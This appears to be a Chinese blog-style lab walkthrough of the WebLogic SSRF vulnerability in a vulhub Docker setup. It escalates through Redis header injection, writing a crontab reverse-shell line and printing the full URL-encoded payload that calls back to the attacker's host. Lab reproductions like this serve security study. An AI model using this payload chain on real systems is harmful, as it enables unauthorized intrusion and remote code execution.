weblogic SSRF漏洞复现

漏洞描述

weblogic中存在一个ssrf漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
影响版本:10.0.2 – 10.3.6

环境搭建

靶机:172.16.10.12
kali:172.16.10.1
进入vulhub-master/weblogic/ssrf目录

docker-compose up -d

服务启动后,访问http://172.16.10.12:7001/uddiexplorer,无需登录即可查看uddiexplorer应用。

漏洞复现

SSRF漏洞位于http://192.168.42.145:7001/uddiexplorer/SearchPublicRegistries.jsp,点击search按钮,用burp抓包

在这里插入图片描述
在这里插入图片描述
发送到repeater,更改operator参数的值为127.0.0.1:7001,得到错误,一般是返回status code
在这里插入图片描述
将operator参数的值改为127.0.0.1:80,不存在的端口,返回could not connect over HTTP to server
在这里插入图片描述

注入HTTP头,利用Redis反弹shell

进入容器查看一下ip
在这里插入图片描述

docker exec -it 4d28eed97e76 /bin/bash

web服务器的真实IP是172.22.0.3
在这里插入图片描述

docker exec -it 46bfd2a29701 /bin/bash

redis服务器的真实IP是172.22.0.2
在这里插入图片描述
使用ssrf探测一下redis服务器,返回Received a reponse,表明redis服务存在

在这里插入图片描述

接下来在http头注入三条redis命令,将反弹shell脚本写入/etc/crontab

test

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/172.16.10.1/22111 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

test

进行url编码,注意换行符是"\r\n",也就是"%0D%0A"

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.16.10.1%2F22111%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20%2Fetc%2F%0Aconfig%20set%20dbfilename%20crontab%0Asave%0D%0A%0D%0Atest

在这里插入图片描述
kali开启监听,成功反弹
在这里插入图片描述